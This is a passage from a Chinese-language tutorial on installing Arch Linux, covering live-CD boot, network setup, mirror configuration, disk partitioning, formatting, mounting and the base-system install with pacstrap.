/><figcaption>选择安装镜像文件</figcaption></figure><p></p><p>点击”下一步”，操作系统选择”Linux”,版本选择”其他 Linux 6.x 内核 64 位”</p><p></p><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/pECA5RJ.51erpxmssr.png" alt="选择操作系统" /><figcaption>选择操作系统</figcaption></figure><p></p><p>点击下一步，编辑虚拟机名称和位置</p><p></p><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/pECATMR.46aw395kn.png" alt="编辑虚拟机名称和位置" /><figcaption>编辑虚拟机名称和位置</figcaption></figure><p></p><p>选择处理器数量，建议为1个处理器数量和4个核心，然后分配内存，内存建议为4GB以上。</p><p></p><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/pECALdK.7w7fvq2826.png" alt="选择CPU核心数和分配内存" /><figcaption>选择CPU核心数和分配内存</figcaption></figure><p></p><p>网络类型默认选择”使用网络地址转换(NAT)“，点击下一步，选择I/O控制器类型，保持默认点击下一步，虚拟磁盘类型选择”SATA”或者”NVMe”，点击下一步选择创建新虚拟磁盘，指定磁盘容量自定，下边保持默认。</p><p></p><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/pECEieP.6po4n4dg58.png" alt="自定磁盘容量" /><figcaption>自定磁盘容量</figcaption></figure><p></p><p>点击”下一步”，最后检查设置，确保所有设置正确无误，点击”完成”，虚拟机创建完成。</p><p></p><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/pEClYEd.41yocrkl1r.png" alt="确认设置" /><figcaption>确认设置</figcaption></figure><p></p></section></section>
<section><h2>安装Arch Linux<a href="#安装arch-linux"><span>#</span></a></h2><div><div><div></div><div>Caution</div></div><div><p>在这里请谨慎地操作每一步，错了一条命令可能会造成轻度或严重后果，虚拟机可以直接复制以下给出的命令，在左上角找到<code>编辑-粘贴</code>就可以把物理机复制的东西粘贴到虚拟机里执行。</p></div></div><section><h3>一、 启动<a href="#一-启动"><span>#</span></a></h3><section><h4>物理机的启动<a href="#物理机的启动"><span>#</span></a></h4><p>先把电脑重启，然后按快捷键进入选择启动项界面(Boot Menu)(这里不同品牌的主板和笔记本都有不同的进入启动项的快捷键，请自行必应搜索，我用的联想笔记本进入启动项的快捷键是<code>F12</code>)</p><p>选择你新安装的U盘启动项(一般是<code>[启动项名称]+(你的U盘设备名)</code>)，如果找不到请尝试搜索如何解决。</p><p>进入Arch Linux Live CD引导界面，选择<code>"Arch Linux install medium (x86_64, UEFI)"</code>回车。 (第一个就是了直接Enter回车)</p><p></p><figure><img alt="Choose This!" loading="lazy" width="727" height="305" src="/_astro/choose.DUZs6vT6_QlA1.webp" /><figcaption>Choose This!</figcaption></figure><p></p><p>进入满屏的跑代码界面几十秒后，就会成功进入Arch Live CD的命令行交互环境，下面是你能输入的那一行的标识：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>root@archiso ~ #</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>在这里，<code>root</code>是超级用户，<code>archiso</code>是Live CD的hostname，<code>~</code>是当前用户的家目录，<code>#</code>是root用户提示符(相反<code>$</code>表示普通用户)，你可以输入命令，按<code>Enter</code>键执行。</p></section><section><h4>虚拟机的启动<a href="#虚拟机的启动"><span>#</span></a></h4><p>找到新建的虚拟机，点击<code>编辑虚拟机设置-硬件-CD/DVD</code>，选择下载好的ISO镜像文件，勾选<code>启动时连接</code>。</p><p></p><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/pECld8P.5fl7gsyydq.png" alt="选择ISO镜像文件" /><figcaption>选择ISO镜像文件</figcaption></figure><p></p><p>然后点击<code>选项</code>菜单，找到<code>高级</code>，在<code>固件类型</code>中选择<code>UEFI</code>，然后点击<code>确认</code>按钮。(当然虚拟机的话BIOS也是行的（（（)</p><p></p><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/pEClwgf.2dpbfkxqay.png" alt="选择UEFI固件类型" /><figcaption>选择UEFI固件类型</figcaption></figure><p></p><p>最后点击<code>开启此虚拟机</code>按钮，虚拟机就会启动，进入Arch Linux Live CD的命令行交互环境。</p></section></section><section><h3>二、 禁用非必要的服务和module<a href="#二-禁用非必要的服务和module"><span>#</span></a></h3><section><h4>1. 禁用Reflector服务<a href="#1-禁用reflector服务"><span>#</span></a></h4><div><div><div></div><div>Tip</div></div><div><ul>
<li>输入命令时可以使用<code>Tab</code>补全以方便使用。</li>
<li>如果屏幕被一堆输出占满了，可以使用<code>clear</code>命令清屏。</li>
</ul></div></div><p>2020 年，<code>Arch Linux</code>安装镜像中加入了<code>reflector</code>服务，它会自己更新<code>mirrorlist</code>（软件包管理器<code>pacman</code>的软件源）。在特定情况下，它会误删某些有用的源信息。这里进入安装环境后的第一件事就是将其禁用。也许它是一个好用的工具，但是很明显，因为地理上造成的特殊网络环境，这项服务并不适合启用。</p><p>通过以下命令停止并禁用<code>reflector</code>服务：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>systemctl</span><span> </span><span>stop</span><span> </span><span>reflector.service</span></div></div><div><div><div>2</div></div><div><span>systemctl</span><span> </span><span>disable</span><span> </span><span>reflector.service</span></div></div><div><div><div>3</div></div><div><span># 通过底下的命令检查服务状态，查看该服务是否被禁用，按下 q 退出结果输出</span></div></div><div><div><div>4</div></div><div><span>systemctl</span><span> </span><span>status</span><span> </span><span>reflector.service</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h4>2. 禁用蜂鸣器<a href="#2-禁用蜂鸣器"><span>#</span></a></h4><p>我们在安装过程中如果输入命令输错了退格或者<code>Tab</code>键无法补全时，如果全部字符已经删除，那么就会发出刺耳的蜂鸣器声音，这时我们可以禁用蜂鸣器。</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>rmmod</span><span> </span><span>pcspkr</span></div></div><div><div><div>2</div></div><div><span>echo</span><span> </span><span>"</span><span>blacklist pcspkr</span><span>"</span><span> </span><span>&gt;&gt;</span><span> </span><span>/etc/modprobe.d/blacklist.conf</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section></section><section><h3>三、 确认启动方式<a href="#三-确认启动方式"><span>#</span></a></h3><p>在安装之前，教程提到必须使用UEFI启动方式，让我们来先验证一下Live CD的启动方式。</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>ls</span><span> </span><span>/sys/firmware/efi/efivars</span><span>   </span><span># 如果有这个目录，说明是UEFI启动方式</span></div></div><div><div><div>2</div></div><div><span># 或者</span></div></div><div><div><div>3</div></div><div><span>cat</span><span> </span><span>/sys/firmware/efi/fw_platform_size</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>前者输出为一堆目录(<code>efi</code>变量)，说明你是UEFI的启动方式，否则就是BIOS的启动方式；</p><p>后者如果返回<code>64</code>，那么系统以 UEFI 模式启动，并且有 64 位 UEFI。如果返回<code>32</code>，那么系统以 UEFI 模式启动，但是只能使用<code>GRUB</code>作为引导加载程序。如果这个文件不存在，系统可能以 BIOS 模式启动。</p><p>BIOS启动方式的读者，物理机请尝试使用UEFI启动方式，虚拟机可以继续查阅下一步的安装步骤（但有些步骤需要自己修改，不知道的请查阅官方Wiki或者问群u）。</p></section><section><h3>四、 连接网络<a href="#四-连接网络"><span>#</span></a></h3><p>在安装Arch Linux之前，请确保你的电脑已经连接到网络，并且可以正常上网。</p><section><h4>1. WIFI无线连接<a href="#1-wifi无线连接"><span>#</span></a></h4><p>查看内核是否加载了无线网卡驱动：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>lspci</span><span> </span><span>-k</span><span> </span><span>|</span><span> </span><span>grep</span><span> </span><span>Network</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>如果你的固件设置没有开启无线网卡的开关可以参考下列的命令来开启WIFI：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>rfkill</span><span> </span><span>list</span><span> </span><span>#查看无线连接 是否被禁用(blocked: yes)</span></div></div><div><div><div>2</div></div><div><span>ip</span><span> </span><span>link</span></div></div><div><div><div>3</div></div><div><span>ip</span><span> </span><span>link</span><span> </span><span>set</span><span> </span><span>wlan0</span><span> </span><span>up</span><span> </span><span>#比如无线网卡看到叫 wlan0</span></div></div><div><div><div>4</div></div><div>
</div></div><div><div><div>5</div></div><div><span># 若看到类似Operation not possible due to RF-kill的报错，继续尝试rfkill unblock wifi来解锁无线网卡。</span></div></div><div><div><div>6</div></div><div>
</div></div><div><div><div>7</div></div><div><span>rfkill</span><span> </span><span>unblock</span><span> </span><span>wifi</span></div></div></code></pre><div><div></div><div></div></div></figure></div><blockquote><p>部分无线网卡不兼容，请考虑使用有线连接安装Arch Linux。</p></blockquote><p>如果你的无线网卡可以正常工作，那么使用<code>iwctl</code>命令连接WIFI：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>iwctl</span><span> </span><span># 进入交互式命令行</span></div></div><div><div><div>2</div></div><div><span>device</span><span> </span><span>list</span><span> </span><span># 列出无线网卡设备名，比如无线网卡看到叫 wlan0</span></div></div><div><div><div>3</div></div><div><span>station</span><span> </span><span>wlan0</span><span> </span><span>scan</span><span> </span><span># 扫描网络</span></div></div><div><div><div>4</div></div><div><span>station</span><span> </span><span>wlan0</span><span> </span><span>get-networks</span><span> </span><span># 列出所有 wifi 网络</span></div></div><div><div><div>5</div></div><div><span>station</span><span> </span><span>wlan0</span><span> </span><span>connect</span><span> [wifi-name] </span><span># 进行连接，注意这里无法输入中文。回车后输入密码即可</span></div></div><div><div><div>6</div></div><div><span>exit</span><span> </span><span># 连接成功后退出</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h4>2. 有线连接<a href="#2-有线连接"><span>#</span></a></h4><p>如果你使用网线连接电脑，正常来说，只要插上一个已经联网的路由器分出的网线（DHCP），直接就能联网。</p><p>可以等待几秒等网络建立连接后再进行下一步测试网络的操作。</p><p>若笔记本没有网线接口请使用带网线接口的扩展坞。</p><p>如果你的网线连接失败，请重启DHCP服务：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>systemctl</span><span> </span><span>restart</span><span> </span><span>dhcpcd.service</span></div></div><div><div><div>2</div></div><div><span>systemctl</span><span> </span><span>restart</span><span> </span><span>NetworkManager.service</span><span> </span><span># 如果有</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section></section><section><h3>五、 确认网络连接<a href="#五-确认网络连接"><span>#</span></a></h3><p>确认网络连接是否正常，可以使用<code>ping</code>命令测试网络连接。</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>ping</span><span> </span><span>-c8</span><span> </span><span>cn.bing.com</span><span> </span><span># 测试网络连接</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>在这里，<code>-c</code>参数指定了发送的请求数，<code>8</code>表示发送8个请求，<code>cn.bing.com</code>是微软必应搜索引擎的域名。</p><p>稍等片刻，若能看到数据返回，即说明已经联网。</p><p>如果提示超时，请重新检查网络是否连接正常。</p><p>如果没有自定义参数直接使用<code>ping</code>命令，那么就会一直持续发送数据包，这时请按下<code>Ctrl+C</code>终止程序。</p></section><section><h3>六、 更新系统时钟<a href="#六-更新系统时钟"><span>#</span></a></h3><p>使用<code>timedatectl</code>确保系统时间是准确的。这一步不是可选的，正确的系统时间对于部分程序(比如pacman验证软件包的签名等)来说非常重要：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>timedatectl</span><span> </span><span>set-ntp</span><span> </span><span>true</span><span> </span><span># 将系统时间与网络时间进行同步</span></div></div><div><div><div>2</div></div><div><span>timedatectl</span><span> </span><span>status</span><span> </span><span># 查看系统时间，或者使用 date 命令查看</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>时间可能以 UTC 时区显示，比北京时间慢 8 小时。这是正常现象，无需调整。</p></section><section><h3>七、 更换国内软件仓库镜像源<a href="#七-更换国内软件仓库镜像源"><span>#</span></a></h3><p>我们使用编辑器编辑<code>/etc/pacman.d/mirrorlist</code>文件：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>nano</span><span> </span><span>/etc/pacman.d/mirrorlist</span></div></div><div><div><div>2</div></div><div><span># 可以使用vim，但在此之前请先安装，因为livecd环境没有自带vim</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>写入以下内容：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>Server = https://mirrors.tuna.tsinghua.edu.cn/archlinux/$repo/os/$arch</span></div></div><div><div><div>2</div></div><div><span>Server = https://mirrors.bfsu.edu.cn/archlinux/$repo/os/$arch</span></div></div><div><div><div>3</div></div><div><span>Server = https://mirrors.ustc.edu.cn/archlinux/$repo/os/$arch</span></div></div><div><div><div>4</div></div><div><span>Server = https://mirrors.zju.edu.cn/archlinux/$repo/os/$arch</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>保存并退出，如果使用的是nano编辑器，按下<code>Ctrl+O</code>保存，按<code>Y</code>确认，再按<code>Ctrl+X</code>退出；vim则按<code>Esc</code>退出编辑模式，输入<code>:wq</code>保存并退出。</p><p>之后执行命令，更新pacman软件源：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>pacman</span><span> </span><span>-Sy</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>八、 检查磁盘分区情况<a href="#八-检查磁盘分区情况"><span>#</span></a></h3><p>在正式安装之前，我们先使用<code>lsblk</code>或<code>fdisk -l</code>命令查看当前磁盘分区情况：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>lsblk</span><span> </span><span># 查看所有磁盘分区</span></div></div><div><div><div>2</div></div><div><span>fdisk</span><span> </span><span>-l</span><span> </span><span># 或者</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>如果你是物理机，那么类似输出如下：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>root@archiso</span><span> </span><span>~</span><span> </span><span># lsblk</span></div></div><div><div><div>2</div></div><div><span>NAME</span><span>           </span><span>MAJ:MIN</span><span>  </span><span>RM</span><span>    </span><span>SIZE</span><span>  </span><span>RO</span><span>  </span><span>TYPE</span><span>  </span><span>MOUNTPOINT</span></div></div><div><div><div>3</div></div><div><span>loop0</span><span>            </span><span>7:0</span><span>     </span><span>0</span><span>  </span><span>688.2M</span><span>   </span><span>1</span><span>  </span><span>loop</span><span>  </span><span>/run/archiso/airootfs</span><span>  </span><span># loop0 是注入到内存的Live CD环境，请忽略</span></div></div><div><div><div>4</div></div><div><span>sda</span><span>              </span><span>8:0</span><span>     </span><span>0</span><span>    </span><span>436G</span><span>   </span><span>0</span><span>  </span><span>disk</span><span>  </span><span># sda 是要安装 Arch Linux 的硬盘，请记住设备名</span></div></div><div><div><div>5</div></div><div><span>sdb</span><span>              </span><span>8:2</span><span>     </span><span>0</span><span>    </span><span>936G</span><span>   </span><span>0</span><span>  </span><span>disk</span><span>  </span><span># sdb 是扩展硬盘，请忽略</span></div></div><div><div><div>6</div></div><div><span>└─sdb1</span><span>           </span><span>8:11</span><span>    </span><span>0</span><span>    </span><span>936G</span><span>   </span><span>0</span><span>  </span><span>part</span></div></div><div><div><div>7</div></div><div><span>sdc</span><span>              </span><span>8:16</span><span>    </span><span>1</span><span>   </span><span>59.8G</span><span>   </span><span>0</span><span>  </span><span>disk</span><span>  </span><span># sdc 是 U 盘启动盘，请忽略</span></div></div><div><div><div>8</div></div><div><span>├─sdc1</span><span>           </span><span>8:17</span><span>    </span><span>1</span><span>   </span><span>59.7G</span><span>   </span><span>0</span><span>  </span><span>part</span></div></div><div><div><div>9</div></div><div><span>│</span><span>   </span><span>└ventoy</span><span>    </span><span>254:0</span><span>     </span><span>0</span><span>  </span><span>861.3M</span><span>   </span><span>1</span><span>  </span><span>dm</span><span>    </span><span>/run/archiso/bootmnt</span></div></div><div><div><div>10</div></div><div><span>└─sdc2</span><span>           </span><span>8:18</span><span>    </span><span>1</span><span>     </span><span>32M</span><span>   </span><span>0</span><span>  </span><span>part</span></div></div><div><div><div>11</div></div><div><span>nvme0n1</span><span>         </span><span>259:0</span><span>    </span><span>0</span><span>    </span><span>120G</span><span>   </span><span>0</span><span>  </span><span>disk</span><span>  </span><span># nvme0n1 是 Windows 系统的硬盘，请忽略</span></div></div><div><div><div>12</div></div><div><span>├─nvme0n1p1</span><span>     </span><span>259:1</span><span>    </span><span>0</span><span>     </span><span>16M</span><span>   </span><span>0</span><span>  </span><span>part</span><span>  </span><span>Microsoft</span><span> </span><span>reserved</span><span> </span><span>partition</span></div></div><div><div><div>13</div></div><div><span>└─nvme0n1p2</span><span>     </span><span>259:2</span><span>    </span><span>0</span><span>    </span><span>119G</span><span>   </span><span>0</span><span>  </span><span>part</span><span>  </span><span>Microsoft</span><span> </span><span>basic</span><span> </span><span>data</span><span> </span><span>partition</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>如果你是虚拟机，那么类似输出如下：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>root@archiso</span><span> </span><span>~</span><span> </span><span># lsblk</span></div></div><div><div><div>2</div></div><div><span>NAME</span><span>           </span><span>MAJ:MIN</span><span>  </span><span>RM</span><span>    </span><span>SIZE</span><span>  </span><span>RO</span><span>  </span><span>TYPE</span><span>  </span><span>MOUNTPOINT</span></div></div><div><div><div>3</div></div><div><span>loop0</span><span>            </span><span>7:0</span><span>     </span><span>0</span><span>  </span><span>688.2M</span><span>   </span><span>1</span><span>  </span><span>loop</span><span>  </span><span>/run/archiso/airootfs</span><span>  </span><span># loop0 是注入到内存的Live CD环境，请忽略</span></div></div><div><div><div>4</div></div><div><span>sda</span><span>              </span><span>8:0</span><span>     </span><span>0</span><span>    </span><span>135G</span><span>   </span><span>0</span><span>  </span><span>disk</span><span>  </span><span># sda 是要安装 Arch Linux 的硬盘，请记住设备名</span></div></div><div><div><div>5</div></div><div><span>sr0</span><span>             </span><span>11:0</span><span>     </span><span>1</span><span>  </span><span>755.3M</span><span>   </span><span>0</span><span>  </span><span>rom</span><span>   </span><span>/run/archiso/bootmnt</span><span>  </span><span># sr0 是VMware虚拟光驱，请忽略</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>我们可以看到，形如<code>sdX</code>是SATA硬盘，形如<code>nvmeXn1</code>是NVMe固态硬盘，以上的举例与实际安装输出的有所不同，请根据实际情况自行决定。</p><p>这篇教程就以<code>sda</code>为例，介绍如何分区和格式化硬盘（不同情况视自己的选择）。</p><p>还有，使用物理机的读者，你不要不小心把Windows系统的硬盘也格式化了！</p></section><section><h3>九、 开始分区<a href="#九-开始分区"><span>#</span></a></h3><div><div><div></div><div>Caution</div></div><div><p>分区操作的部分命令具有危险性！除非你知道每一个命令在干什么，否则请不要执行！</p><p>同时，</p><p>请提前做好数据备份，防止数据丢失！</p><p>请提前做好数据备份，防止数据丢失！</p><p>请提前做好数据备份，防止数据丢失！</p><p>还是重要的事情说三遍……</p></div></div><section><h4>1. 使用fdisk命令分区<a href="#1-使用fdisk命令分区"><span>#</span></a></h4><blockquote><p>如何学习使用fdisk，敬请参阅：<a href="https://wiki.archlinuxcn.org/wiki/Fdisk" target="_blank">https://wiki.archlinuxcn.org/wiki/Fdisk</a></p></blockquote><p>输入以下命令，进入fdisk命令行：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>fdisk</span><span> </span><span>/dev/sda</span></div></div><div><div><div>2</div></div><div><span>fdisk</span><span> </span><span>/dev/nvme0n1</span><span> </span><span># 或者</span></div></div></code></pre><div><div></div><div></div></div></figure></div><ul>
<li>第一步，按下<code>g</code>键，新建GPT分区表；</li>
<li>第二步，按下<code>n</code>键，<code>作为你的EFI分区</code>第一个提示你分区编号，默认<code>Enter回车</code>，第二个提示你扇区起始位置，默认<code>Enter回车</code>，第三个提示你分区大小，输入<code>+512M</code>，回车，如果最后提示你需要清除已有签名，输入<code>y</code>回车；</li>
<li>第三步，按下<code>t</code>键，选择分区类型，输入<code>1</code>，回车，代表EFI系统分区，有时候<code>1</code>并不代表这样，请输入<code>L</code>查看已知的分区类型，输入对应的编号回车；</li>
<li>第四步，<code>作为你的根目录主分区</code>，重复第二步的步骤，前面保持默认，提示你分区大小时输入合适的大小，至少<code>64G</code>，分区类型选择<code>83</code>，代表Linux文件系统；</li>
<li>第五步，<code>作为Swap交换分区</code>，大小在<code>4G~8G</code>之间较为合适，分区类型选择<code>82</code>，代表Linux swap分区；</li>
<li>第六步，输入<code>p</code>打印分区表，检查有没有问题，输入<code>w</code>保存并退出。</li>
<li>
<div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>...</span></div></div><div><div><div>2</div></div><div><span>Device        Start        End   Sectors   Size  Type</span></div></div><div><div><div>3</div></div><div><span>/dev/sda1      2048    1050623   1048576   512M  EFI System</span></div></div><div><div><div>4</div></div><div><span>/dev/sda2   1050624   42993663  41943040    64G  Linux root (x86-64)</span></div></div><div><div><div>5</div></div><div><span>/dev/sda3  42993664  125827071  82833408     4G  Linux swap</span></div></div><div><div><div>6</div></div><div><span>...</span></div></div></code></pre><div><div></div><div></div></div></figure></div>
</li>
</ul><p>如有疑问，请参阅上面给出的链接。</p></section><section><h4>2. 使用cfdisk命令分区<a href="#2-使用cfdisk命令分区"><span>#</span></a></h4><p>cfdisk是提供CUI界面的分区工具，可以较为直观地进行分区操作。</p><p>如果是新安装的磁盘，进入cfdisk之后会提示选择分区表类型，选择<code>gpt</code>。</p><ul>
<li>第一步，选择<code>New</code>，新建一个分区，选择<code>Primary</code>，大小为<code>512M</code>，按下回车确认，选择<code>Type</code>，分区类型选择<code>EFI System</code>;</li>
<li>第二步，选择<code>New</code>，新建一个分区，选择<code>Primary</code>，大小为<code>64G</code>，按下回车确认，分区类型选择<code>Linux filesystem</code>;</li>
<li>第三步，选择<code>New</code>，新建一个分区，选择<code>Primary</code>，大小为<code>4G</code>，按下回车确认，分区类型选择<code>Linux swap</code>;</li>
<li>第四步，选择<code>Write</code>，输入<code>yes</code>，保存，然后选择<code>Quit</code>，退出。</li>
</ul><p>如有疑问，请查阅同Fdisk给出的链接。</p></section><section><h4>3. 使用parted/gparted命令分区<a href="#3-使用partedgparted命令分区"><span>#</span></a></h4><blockquote><p>请参阅：<a href="https://wiki.archlinuxcn.org/wiki/Parted" target="_blank">https://wiki.archlinuxcn.org/wiki/Parted</a></p></blockquote></section></section><section><h3>十、 格式化分区<a href="#十-格式化分区"><span>#</span></a></h3><p>复查一下分区情况：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>NAME</span><span>           </span><span>MAJ:MIN</span><span>  </span><span>RM</span><span>    </span><span>SIZE</span><span>  </span><span>RO</span><span>  </span><span>TYPE</span><span>  </span><span>MOUNTPOINT</span></div></div><div><div><div>2</div></div><div><span>loop0</span><span>            </span><span>7:0</span><span>     </span><span>0</span><span>  </span><span>688.2M</span><span>   </span><span>1</span><span>  </span><span>loop</span><span>  </span><span>/run/archiso/airootfs</span></div></div><div><div><div>3</div></div><div><span>sda</span><span>              </span><span>8:0</span><span>     </span><span>0</span><span>    </span><span>135G</span><span>   </span><span>0</span><span>  </span><span>disk</span></div></div><div><div><div>4</div></div><div><span>├─sda1</span><span>           </span><span>8:1</span><span>     </span><span>0</span><span>    </span><span>512M</span><span>   </span><span>0</span><span>  </span><span>part</span><span>  </span><span>EFI</span><span> </span><span>System</span></div></div><div><div><div>5</div></div><div><span>├─sda2</span><span>           </span><span>8:2</span><span>     </span><span>0</span><span>     </span><span>64G</span><span>   </span><span>0</span><span>  </span><span>part</span><span>  </span><span>Linux</span><span> </span><span>root</span><span> (x86-64)</span></div></div><div><div><div>6</div></div><div><span>└─sda3</span><span>           </span><span>8:3</span><span>     </span><span>0</span><span>      </span><span>4G</span><span>   </span><span>0</span><span>  </span><span>part</span><span>  </span><span>Linux</span><span> </span><span>swap</span></div></div><div><div><div>7</div></div><div><span>sr0</span><span>             </span><span>11:0</span><span>     </span><span>1</span><span>  </span><span>755.3M</span><span>   </span><span>0</span><span>  </span><span>rom</span><span>   </span><span>/run/archiso/bootmnt</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>我们可以看到，<code>sda1</code>是EFI系统分区，<code>sda2</code>是根目录主分区，<code>sda3</code>是Swap交换分区。</p><p>接下来，我们将格式化这三个分区：</p><ul>
<li>
<p>格式化<code>sda1</code>为<code>FAT32</code>格式：</p>
<div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>mkfs.vfat</span><span> </span><span>-F</span><span> </span><span>32</span><span> </span><span>-n</span><span> </span><span>boot</span><span> </span><span>/dev/sda1</span></div></div></code></pre><div><div></div><div></div></div></figure></div>
</li>
<li>
<p>格式化<code>sda2</code>为<code>ext4</code>或者<code>btrfs</code>格式：</p>
<div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>mkfs.ext4</span><span> </span><span>-L</span><span> </span><span>Arch</span><span> </span><span>/dev/sda2</span></div></div><div><div><div>2</div></div><div><span># 或者</span></div></div><div><div><div>3</div></div><div><span>mkfs.btrfs</span><span> </span><span>-L</span><span> </span><span>Arch</span><span> </span><span>/dev/sda2</span></div></div></code></pre><div><div></div><div></div></div></figure></div>
</li>
<li>
<p>格式化<code>sda3</code>为<code>swap</code>格式：</p>
<div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>mkswap</span><span> </span><span>-L</span><span> </span><span>swap</span><span> </span><span>/dev/sda3</span></div></div></code></pre><div><div></div><div></div></div></figure></div>
</li>
</ul><blockquote><p>关于mkfs命令的详细用法，请参阅：<a href="https://wiki.archlinuxcn.org/wiki/%E6%96%87%E4%BB%B6%E7%B3%BB%E7%BB%9F" target="_blank">https://wiki.archlinuxcn.org/wiki/%E6%96%87%E4%BB%B6%E7%B3%BB%E7%BB%9F</a></p></blockquote></section><section><h3>十一、 挂载分区<a href="#十一-挂载分区"><span>#</span></a></h3><div><div><div></div><div>Important</div></div><div><p>虽然EFI分区可以挂载到<code>/mnt/boot</code>目录，但现如今的教程已不建议这样做，很多时候都建议挂载到<code>/mnt/efi</code>目录下。</p></div></div><p>接下来，我们将挂载分区：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>mount</span><span> </span><span>/dev/sda2</span><span> </span><span>/mnt</span></div></div><div><div><div>2</div></div><div><span>mkdir</span><span> </span><span>/mnt/efi</span></div></div><div><div><div>3</div></div><div><span>mount</span><span> </span><span>/dev/sda1</span><span> </span><span>/mnt/efi</span></div></div><div><div><div>4</div></div><div><span>swapon</span><span> </span><span>/dev/sda3</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>我们可以看到，我们将<code>sda2</code>挂载到<code>/mnt</code>，<code>sda1</code>挂载到<code>/mnt/efi</code>，<code>sda3</code>挂载到Swap分区。</p><p>复查挂载情况：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>df</span><span> </span><span>-h</span><span> </span><span># 查看磁盘挂载情况</span></div></div><div><div><div>2</div></div><div><span>free</span><span> </span><span>-h</span><span> </span><span># 查看Swap分区有没有正常挂载，-h 选项会使输出以人类可读的单位显示</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>十二、 安装基本系统<a href="#十二-安装基本系统"><span>#</span></a></h3><p>通过如下命令使用<code>pacstrap</code>脚本安装基础包：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>pacstrap</span><span> </span><span>/mnt</span><span> </span><span>base</span><span> </span><span>base-devel</span><span> </span><span>linux</span><span> </span><span>linux-firmware</span></div></div></code></pre><div><div></div><div></div></div></figure></div><div><div><div></div><div>Tip</div></div><div><p>说明：</p><ul>
<li><code>base</code>：最基本的系统工具</li>
<li><code>base-devel</code>：包含了开发环境的工具，在<code>AUR</code>包的安装过程中是必须用到的</li>
<li><code>linux</code>：包含了Linux内核，如果你是新手，可以不用安装其他内核</li>
<li><code>linux-firmware</code>：包含了Linux的驱动程序，比如网卡驱动、声卡驱动等</li>
</ul></div></div><p>如果你想安装其他内核，可以看看列举出来的内核说明：</p><ul>
<li><code>linux-zen</code>：一些内核黑客合作的结果，提供了最适合日常使用的内核，优化了部分性能。</li>
<li><code>linux-headers</code>：即Linux内核头文件，是一组包含各种头文件的集合，这些头文件为设备提供了本地编译驱动的能力，zen内核也有提供<code>linux-zen-headers</code>内核。</li>
<li><code>linux-hardened</code>：注重安全的 Linux 内核，采用一系列加固补丁以缓解内核和用户空间漏洞。和<code>linux</code>相比，它启用了上游更多的内核加固功能。</li>
<li><code>linux-lts</code>：长期支持版本的 Linux 内核，通常比最新版本稳定，适合长期使用。</li>
<li>此外还有其他内核可以选择，敬请参阅：<a href="https://wiki.archlinuxcn.org/wiki/%E5%86%85%E6%A0%B8" target="_blank">https://wiki.archlinuxcn.org/wiki/%E5%86%85%E6%A0%B8</a></li>
